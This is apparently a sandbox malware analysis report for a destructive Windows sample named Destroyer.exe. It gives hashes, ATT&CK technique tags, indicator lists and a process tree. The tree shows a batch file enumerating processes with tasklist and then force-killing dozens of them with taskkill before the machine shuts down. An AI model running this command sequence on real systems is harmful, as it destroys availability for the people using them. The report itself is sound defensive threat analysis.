fe37d1ffcde030141e084a28aba766d0555d47665127c41a8af2038db2168591

Analysis

max time kernel
42s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Destroyer.exe
Size 71KB
Sample260604-22ahxahs2k
SHA256 fe37d1ffcde030141e084a28aba766d0555d47665127c41a8af2038db2168591
MD5 cfa188442e3852b7569daf83d8f6d94c
SHA1 2d46033d23cb61f63a9a9769fcb1837c2a97849c
SHA512 e813e55ca5ff28126dfd32789c839799b72db3fc49ff8be4d63bb3e37392608b3040f49c0f9255a39d12e7ae69f88623b7cf6b80e744521f131342e17be66317
SSDEEP 1536:KVIn7vLAsry2eslLS8Ti1nQyd9O3jKVfOOHoHoLOO:KU/9+vstGGGFOCp
TLSH
T114634B93B6C25772E58156B1019139B7EB31E73AC3629EC3D3085907EF560F2CC7A29A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 16 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5408	netsh.exe
4980	netsh.exe
3576	netsh.exe
4416	netsh.exe
1740	netsh.exe
1160	netsh.exe
5128	netsh.exe
1668	netsh.exe
4512	netsh.exe
3892	netsh.exe
3772	netsh.exe
5088	netsh.exe
2340	netsh.exe
2228	netsh.exe
4576	netsh.exe
3336	netsh.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1068	powershell.exe
1584	powershell.exe
5984	powershell.exe
4508	powershell.exe
4016	powershell.exe
2984	powershell.exe
5380	powershell.exe
5468	powershell.exe
1152	powershell.exe
3108	powershell.exe
2716	powershell.exe
5060	powershell.exe
4672	powershell.exe
3388	powershell.exe
4236	powershell.exe
1212	powershell.exe
2824	powershell.exe
1748	powershell.exe
4592	powershell.exe
1072	powershell.exe
4752	powershell.exe
1908	powershell.exe
5836	powershell.exe
2596	powershell.exe
4688	powershell.exe
4656	powershell.exe
4040	powershell.exe
5600	powershell.exe
3624	powershell.exe
2116	powershell.exe
1300	powershell.exe
3216	powershell.exe
4064	powershell.exe
3608	powershell.exe
5276	powershell.exe
4236	powershell.exe
4172	powershell.exe
5656	powershell.exe
5228	powershell.exe
1156	powershell.exe
5152	powershell.exe
4404	powershell.exe
2992	powershell.exe
5924	powershell.exe
4656	powershell.exe
4100	powershell.exe
5876	powershell.exe
1896	powershell.exe
1456	powershell.exe
1476	powershell.exe
2056	powershell.exe
5352	powershell.exe
4380	powershell.exe
1044	powershell.exe
4164	powershell.exe
3248	powershell.exe
892	powershell.exe
5740	powershell.exe
5988	powershell.exe
1300	powershell.exe
4964	powershell.exe
5356	powershell.exe
5536	powershell.exe
5124	powershell.exe

Drops file in System32 directory 36 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5508	tasklist.exe
5604	tasklist.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 48 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Destroyer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Destroyer.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
5560	taskkill.exe
5348	taskkill.exe
2904	taskkill.exe
3896	taskkill.exe
4292	taskkill.exe
5244	taskkill.exe
1452	taskkill.exe
3164	taskkill.exe
4404	taskkill.exe
5940	taskkill.exe
2008	taskkill.exe
1972	taskkill.exe
3820	taskkill.exe
5444	taskkill.exe
4416	taskkill.exe
1632	taskkill.exe
2732	taskkill.exe
5280	taskkill.exe
1924	taskkill.exe
5588	taskkill.exe
3576	taskkill.exe
2120	taskkill.exe
1144	taskkill.exe
3952	taskkill.exe
5452	taskkill.exe
5976	taskkill.exe
3936	taskkill.exe
2576	taskkill.exe
5820	taskkill.exe
6068	taskkill.exe
5908	taskkill.exe
2824	taskkill.exe
4540	taskkill.exe
1616	taskkill.exe
2644	taskkill.exe
4444	taskkill.exe
4104	taskkill.exe
2596	taskkill.exe
2708	taskkill.exe
3024	taskkill.exe
1292	taskkill.exe
1044	taskkill.exe
5996	taskkill.exe
2196	taskkill.exe
4372	taskkill.exe
3256	taskkill.exe
5912	taskkill.exe
4580	taskkill.exe
4744	taskkill.exe
2432	taskkill.exe
5744	taskkill.exe
3460	taskkill.exe
1920	taskkill.exe
3108	taskkill.exe
540	taskkill.exe
448	taskkill.exe
3060	taskkill.exe
2428	taskkill.exe
4076	taskkill.exe
5424	taskkill.exe
5600	taskkill.exe
6120	taskkill.exe
5128	taskkill.exe
244	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1152	powershell.exe
1152	powershell.exe
4164	powershell.exe
4164	powershell.exe
5740	powershell.exe
5740	powershell.exe
5032	powershell.exe
5032	powershell.exe
5152	powershell.exe
5600	powershell.exe
5600	powershell.exe
2056	powershell.exe
2056	powershell.exe
5292	powershell.exe
5292	powershell.exe
2824	powershell.exe
2824	powershell.exe
4404	powershell.exe
2992	powershell.exe
2992	powershell.exe
2756	powershell.exe
2756	powershell.exe
5836	powershell.exe
5836	powershell.exe
1456	powershell.exe
5060	powershell.exe
5060	powershell.exe
5988	powershell.exe
5988	powershell.exe
5924	powershell.exe
5352	powershell.exe
5924	powershell.exe
3108	powershell.exe
3108	powershell.exe
5356	powershell.exe
5356	powershell.exe
1896	powershell.exe
1896	powershell.exe
2596	powershell.exe
1300	powershell.exe
1300	powershell.exe
3360	powershell.exe
3360	powershell.exe
4672	powershell.exe
4672	powershell.exe
1748	powershell.exe
5380	powershell.exe
5380	powershell.exe
5192	powershell.exe
5192	powershell.exe
4656	powershell.exe
4656	powershell.exe
3248	powershell.exe
5656	powershell.exe
5656	powershell.exe
4640	powershell.exe
4640	powershell.exe
3216	powershell.exe
3216	powershell.exe
4592	powershell.exe
4100	powershell.exe
4100	powershell.exe
2932	powershell.exe
2932	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5604	tasklist.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	5600	taskkill.exe
Token: SeDebugPrivilege	5560	taskkill.exe
Token: SeDebugPrivilege	1144	taskkill.exe
Token: SeDebugPrivilege	5388	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	6120	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1152	powershell.exe
Token: SeSecurityPrivilege	1152	powershell.exe
Token: SeTakeOwnershipPrivilege	1152	powershell.exe
Token: SeLoadDriverPrivilege	1152	powershell.exe
Token: SeSystemProfilePrivilege	1152	powershell.exe
Token: SeSystemtimePrivilege	1152	powershell.exe
Token: SeProfSingleProcessPrivilege	1152	powershell.exe
Token: SeIncBasePriorityPrivilege	1152	powershell.exe
Token: SeCreatePagefilePrivilege	1152	powershell.exe
Token: SeBackupPrivilege	1152	powershell.exe
Token: SeRestorePrivilege	1152	powershell.exe
Token: SeShutdownPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeSystemEnvironmentPrivilege	1152	powershell.exe
Token: SeRemoteShutdownPrivilege	1152	powershell.exe
Token: SeUndockPrivilege	1152	powershell.exe
Token: SeManageVolumePrivilege	1152	powershell.exe
Token: 33	1152	powershell.exe
Token: 34	1152	powershell.exe
Token: 35	1152	powershell.exe
Token: 36	1152	powershell.exe
Token: SeIncreaseQuotaPrivilege	4164	powershell.exe
Token: SeSecurityPrivilege	4164	powershell.exe
Token: SeTakeOwnershipPrivilege	4164	powershell.exe
Token: SeLoadDriverPrivilege	4164	powershell.exe
Token: SeSystemProfilePrivilege	4164	powershell.exe
Token: SeSystemtimePrivilege	4164	powershell.exe
Token: SeProfSingleProcessPrivilege	4164	powershell.exe
Token: SeIncBasePriorityPrivilege	4164	powershell.exe
Token: SeCreatePagefilePrivilege	4164	powershell.exe
Token: SeBackupPrivilege	4164	powershell.exe
Token: SeRestorePrivilege	4164	powershell.exe
Token: SeShutdownPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeSystemEnvironmentPrivilege	4164	powershell.exe
Token: SeRemoteShutdownPrivilege	4164	powershell.exe
Token: SeUndockPrivilege	4164	powershell.exe
Token: SeManageVolumePrivilege	4164	powershell.exe
Token: 33	4164	powershell.exe
Token: 34	4164	powershell.exe
Token: 35	4164	powershell.exe
Token: 36	4164	powershell.exe
Token: SeIncreaseQuotaPrivilege	5600	powershell.exe
Token: SeSecurityPrivilege	5600	powershell.exe
Token: SeTakeOwnershipPrivilege	5600	powershell.exe
Token: SeLoadDriverPrivilege	5600	powershell.exe
Token: SeSystemProfilePrivilege	5600	powershell.exe
Token: SeSystemtimePrivilege	5600	powershell.exe
Token: SeProfSingleProcessPrivilege	5600	powershell.exe
Token: SeIncBasePriorityPrivilege	5600	powershell.exe
Token: SeCreatePagefilePrivilege	5600	powershell.exe
Token: SeBackupPrivilege	5600	powershell.exe
Token: SeRestorePrivilege	5600	powershell.exe
Token: SeShutdownPrivilege	5600	powershell.exe
Token: SeDebugPrivilege	5600	powershell.exe
Token: SeSystemEnvironmentPrivilege	5600	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1200	PickerHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 4792	2168	Destroyer.exe	80
PID 4792 wrote to memory of 5792	4792	cmd.exe	81
PID 5792 wrote to memory of 5604	5792	cmd.exe	82
PID 5792 wrote to memory of 5960	5792	cmd.exe	83
PID 4792 wrote to memory of 6068	4792	cmd.exe	85
PID 4792 wrote to memory of 5600	4792	cmd.exe	86
PID 4792 wrote to memory of 5560	4792	cmd.exe	87
PID 4792 wrote to memory of 1144	4792	cmd.exe	88
PID 4792 wrote to memory of 5388	4792	cmd.exe	89
PID 4792 wrote to memory of 1632	4792	cmd.exe	90
PID 4792 wrote to memory of 6120	4792	cmd.exe	91
PID 4792 wrote to memory of 3372	4792	cmd.exe	93
PID 4792 wrote to memory of 1692	4792	cmd.exe	95
PID 4792 wrote to memory of 2008	4792	cmd.exe	96
PID 4792 wrote to memory of 1508	4792	cmd.exe	97
PID 4792 wrote to memory of 1044	4792	cmd.exe	98
PID 4792 wrote to memory of 4236	4792	cmd.exe	99
PID 4792 wrote to memory of 5076	4792	cmd.exe	100
PID 4792 wrote to memory of 6080	4792	cmd.exe	101
PID 4792 wrote to memory of 5620	4792	cmd.exe	102
PID 4792 wrote to memory of 5108	4792	cmd.exe	103
PID 4792 wrote to memory of 488	4792	cmd.exe	104
PID 4792 wrote to memory of 2200	4792	cmd.exe	105
PID 4792 wrote to memory of 6020	4792	cmd.exe	106
PID 4792 wrote to memory of 5912	4792	cmd.exe	107
PID 4792 wrote to memory of 5996	4792	cmd.exe	108
PID 4792 wrote to memory of 1824	4792	cmd.exe	109
PID 4792 wrote to memory of 5436	4792	cmd.exe	110
PID 4792 wrote to memory of 5908	4792	cmd.exe	111
PID 4792 wrote to memory of 2196	4792	cmd.exe	112
PID 4792 wrote to memory of 4444	4792	cmd.exe	113
PID 4792 wrote to memory of 5080	4792	cmd.exe	114
PID 4792 wrote to memory of 2904	4792	cmd.exe	115
PID 4792 wrote to memory of 3244	4792	cmd.exe	116
PID 4792 wrote to memory of 3684	4792	cmd.exe	117
PID 4792 wrote to memory of 2476	4792	cmd.exe	118
PID 4792 wrote to memory of 1920	4792	cmd.exe	119
PID 4792 wrote to memory of 1780	4792	cmd.exe	120
PID 4792 wrote to memory of 5892	4792	cmd.exe	121
PID 4792 wrote to memory of 1972	4792	cmd.exe	122
PID 4792 wrote to memory of 4104	4792	cmd.exe	123
PID 4792 wrote to memory of 3896	4792	cmd.exe	124
PID 4792 wrote to memory of 4868	4792	cmd.exe	125
PID 4792 wrote to memory of 4312	4792	cmd.exe	126
PID 4792 wrote to memory of 3972	4792	cmd.exe	127
PID 4792 wrote to memory of 4292	4792	cmd.exe	128
PID 4792 wrote to memory of 4124	4792	cmd.exe	129
PID 4792 wrote to memory of 4188	4792	cmd.exe	130
PID 4792 wrote to memory of 2824	4792	cmd.exe	131
PID 4792 wrote to memory of 4276	4792	cmd.exe	132
PID 4792 wrote to memory of 2900	4792	cmd.exe	133
PID 4792 wrote to memory of 5496	4792	cmd.exe	134
PID 4792 wrote to memory of 692	4792	cmd.exe	135
PID 4792 wrote to memory of 5708	4792	cmd.exe	136
PID 4792 wrote to memory of 3752	4792	cmd.exe	137
PID 4792 wrote to memory of 3108	4792	cmd.exe	138
PID 4792 wrote to memory of 4440	4792	cmd.exe	139
PID 4792 wrote to memory of 4240	4792	cmd.exe	140
PID 4792 wrote to memory of 5348	4792	cmd.exe	141
PID 4792 wrote to memory of 5244	4792	cmd.exe	142
PID 4792 wrote to memory of 2732	4792	cmd.exe	143
PID 4792 wrote to memory of 3736	4792	cmd.exe	144
PID 4792 wrote to memory of 4372	4792	cmd.exe	145
PID 4792 wrote to memory of 2880	4792	cmd.exe	146

C:\Users\Admin\AppData\Local\Temp\Destroyer.exe
"C:\Users\Admin\AppData\Local\Temp\Destroyer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\DAEF.tmp\DAF0.bat C:\Users\Admin\AppData\Local\Temp\Destroyer.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist | findstr /r /b ".*.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5792
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5604
  - - C:\Windows\system32\findstr.exe
      findstr /r /b ".*.exe"
      4⤵
      PID:5960
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "376"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "480"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5600
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "548"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "560"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1144
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "640"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5388
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "676"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1632
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "696"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6120
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "800"
    3⤵
    PID:3372
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "808"
    3⤵
    PID:1692
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "824"
    3⤵
    - Kills process with taskkill
    PID:2008
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "908"
    3⤵
    PID:1508
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "992"
    3⤵
    - Kills process with taskkill
    PID:1044
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "424"
    3⤵
    PID:4236
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "684"
    3⤵
    PID:5076
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "544"
    3⤵
    PID:6080
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1028"
    3⤵
    PID:5620
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1128"
    3⤵
    PID:5108
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1176"
    3⤵
    PID:488
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1220"
    3⤵
    PID:2200
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1228"
    3⤵
    PID:6020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1244"
    3⤵
    - Kills process with taskkill
    PID:5912
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1268"
    3⤵
    - Kills process with taskkill
    PID:5996
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1324"
    3⤵
    PID:1824
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1384"
    3⤵
    PID:5436
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1500"
    3⤵
    - Kills process with taskkill
    PID:5908
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1568"
    3⤵
    - Kills process with taskkill
    PID:2196
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1720"
    3⤵
    - Kills process with taskkill
    PID:4444
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1788"
    3⤵
    PID:5080
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1832"
    3⤵
    - Kills process with taskkill
    PID:2904
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1840"
    3⤵
    PID:3244
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1944"
    3⤵
    PID:3684
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1964"
    3⤵
    PID:2476
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1996"
    3⤵
    - Kills process with taskkill
    PID:1920
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1652"
    3⤵
    PID:1780
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2072"
    3⤵
    PID:5892
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2084"
    3⤵
    - Kills process with taskkill
    PID:1972
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2156"
    3⤵
    - Kills process with taskkill
    PID:4104
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2208"
    3⤵
    - Kills process with taskkill
    PID:3896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2276"
    3⤵
    PID:4868
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2344"
    3⤵
    PID:4312
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2396"
    3⤵
    PID:3972
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2516"
    3⤵
    - Kills process with taskkill
    PID:4292
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2536"
    3⤵
    PID:4124
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2548"
    3⤵
    PID:4188
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2600"
    3⤵
    - Kills process with taskkill
    PID:2824
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2612"
    3⤵
    PID:4276
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2676"
    3⤵
    PID:2900
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2696"
    3⤵
    PID:5496
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2720"
    3⤵
    PID:692
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3064"
    3⤵
    PID:5708
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2440"
    3⤵
    PID:3752
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2840"
    3⤵
    - Kills process with taskkill
    PID:3108
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2660"
    3⤵
    PID:4440
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3196"
    3⤵
    PID:4240
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3320"
    3⤵
    - Kills process with taskkill
    PID:5348
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3376"
    3⤵
    - Kills process with taskkill
    PID:5244
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3596"
    3⤵
    - Kills process with taskkill
    PID:2732
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3700"
    3⤵
    PID:3736
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3780"
    3⤵
    - Kills process with taskkill
    PID:4372
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3808"
    3⤵
    PID:2880
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3872"
    3⤵
    PID:3224
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "4176"
    3⤵
    PID:5104
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "4256"
    3⤵
    - Kills process with taskkill
    PID:3820
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "5828"
    3⤵
    PID:860
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "5184"
    3⤵
    PID:4356
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "648"
    3⤵
    PID:4284
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "5644"
    3⤵
    - Kills process with taskkill
    PID:4540
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "5944"
    3⤵
    PID:5256
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3340"
    3⤵
    - Kills process with taskkill
    PID:3952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3140"
    3⤵
    PID:4392
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2388"
    3⤵
    PID:5428
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "3264"
    3⤵
    PID:4040
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "1280"
    3⤵
    - Kills process with taskkill
    PID:3256
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "2168"
    3⤵
    - Kills process with taskkill
    PID:5280
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "4752"
    3⤵
    PID:5432
